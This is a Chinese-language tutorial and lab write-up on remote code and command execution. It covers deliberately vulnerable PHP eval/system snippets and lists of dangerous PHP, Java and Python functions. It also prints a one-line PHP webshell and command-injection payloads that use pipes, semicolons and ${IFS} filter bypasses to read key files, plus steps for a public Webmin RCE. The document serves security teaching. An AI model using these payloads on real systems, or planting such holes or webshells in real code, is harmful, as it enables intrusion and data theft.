Remote Command/Code Execution

RCE

漏洞形成条件

存在可控变量

存在可利用的漏洞函数

代码执行

1
2
3
4
5
<?php
highlight_file(__FILE__);
$a = $_GET['b'];
eval($a);
?>

代码执行演示

命令执行

1
2
3
4
5
<?php
highlight_file(__FILE__);
$a = $_GET['b'];
system($a);
?>

命令执行演示

RCE漏洞产生相关函数

PHP代码执行函数:

  1. eval()//把字符串作为PHP代码执行
  2. assert()//检查一个断言是否为 FALSE,可用来执行代码
  3. preg_replace()//执行一个正则表达式的搜索和替换
  4. call_user_func()//把第一个参数作为回调函数调用
  5. call_user_func_array()//调用回调函数,并把一个数组参数作为回调函数的参数
  6. array_map()//为数组的每个元素应用回调函数

PHP命令执行函数:

  1. system()//执行外部程序,并且显示输出
  2. exec()//执行一个外部程序
  3. shell_exec()//通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
  4. passthru()//执行外部程序并且显示原始输出
  5. pcntl_exec()//在当前进程空间执行指定程序
  6. popen()//打开进程文件指针
  7. proc_open()//执行一个命令,并且打开用来输入/输出的文件指针

Java命令执行

java.lang.Runtime.getRuntime(.exec(command)

Java代码执行

Java中没有类似php中eval 函数这种直接可以将字符串转化为代码执行的函数,

但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞。

python代码执行

  1. exec(string)# Python代码的动态执行
  2. eval(string)# 返回表达式或代码对象的值
  3. execfile(string)# 从一个文件中读取和执行Python脚本
  4. input(string)#Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入
  5. compile(string)# 将源字符串编译为可执行对象

python命令执行

  1. system()#执行系统指令
  2. popen()#popen()方法用于从一个命令打开一个管道
  3. subprocess.call #执行由参数提供的命令
  4. spawn #执行命令

一句话WebShell后门原理代码执行

PHP一句话

1
2
3
4
5
<?php
@eval($_POST['cmd']);
?>
//cmd为密码
//@是可以屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。这样除了用户界面会友好一些外,更重要的是安全性,因为屏蔽了出错文件的路径等信息。

caidao原理:将写好的功能数据包,在图形化界面通过一句话木马去触发

靶场

黑盒功能点命令执行-应用功能

地址:墨者学院-命令注入执行分析

wp

访问靶场所给地址

黑盒功能点命令执行-wp1

ping 127.0.0.1结果

黑盒功能点命令执行-wp2

用管道符|去执行其他命令ping 127.0.0.1|ls,有弹窗报错

黑盒功能点命令执行-wp4

继续上一步操作,多了一个关闭提示框的选项,猜测这里进行了IP格式的前端验证

黑盒功能点命令执行-wp5

右键查看源码果然有js的验证

黑盒功能点命令执行-wp6

用burpsuite抓包就可以要过前端验证

黑盒功能点命令执行-wp7

ls命令查看当前目录文件,找到key

黑盒功能点命令执行-wp8

直接cat<key_148351137230146.php没有回显,应该是过滤了空格

黑盒功能点命令执行-wp9

过滤了空格。我们需要将空格用其他字符替代一下,这里有两种方法<${IFS}

黑盒功能点命令执行-wp10

黑盒功能点命令执行-wp11

另外还有两个点

一是读文件还可以用tac

黑盒功能点命令执行-wp12

另一个是除了用管道符,还可以用;(分号)

黑盒功能点命令执行-wp13

白盒代码及命令执行-代码分析

地址:墨者学院-PHP代码分析溯源(第4题)

wp

访问把场所给地址

白盒代码及命令执行-wp1

1
2
3
4
5
//源码
<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
//分析这里面是一段加密内容40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==

将源代码放在本地做功能测试

注意要把首尾的&替换成””,并用echo输出,得到加密内容

白盒代码及命令执行-wp2

1
2
3
//这里的考点
echo `cmd`
//cmd处为执行的命令

这里是通过$_REQUEST传参,可以接收cookie,get,post的值

我们这里采用get传参

白盒代码及命令执行-wp3

cat<key

白盒代码及命令执行-wp4

右键查看源码,得到key值

白盒代码及命令执行-wp5

echo ``测试

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
//eval(gzinflate(base64_decode("40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&")));
$a = $_GET['b'];
eval("echo `$a`;");
?>
//Windows和Linux下均能执行系统命令

黑盒层RCE漏洞检测-公开漏洞

地址:墨者学院-Webmin未经身份验证的远程代码执行

wp

访问把场所给地址

黑盒层RCE漏洞检测-wp1

随便输入登录信息

黑盒层RCE漏洞检测-wp2

Google搜索公开的exp,找到复现文章,利用burp抓包,放到Repeater里,根据搜索的文章改参数

修改POST的路径和值

黑盒层RCE漏洞检测-wp3

根据题目说key在根目录下,于是利用ls /,将改过的数据包发送,找到key

黑盒层RCE漏洞检测-wp4

再用cat</key.txt即可,注意是/目录下

黑盒层RCE漏洞检测-wp5

参考

https://blog.csdn.net/LRedAnt/article/details/103701507

https://xz.aliyun.com/t/6040

参考

JAVA web网站代码审计--入门

PHP 远程代码执行漏洞复现(CVE-2019-11043)

远程命令与代码执行总结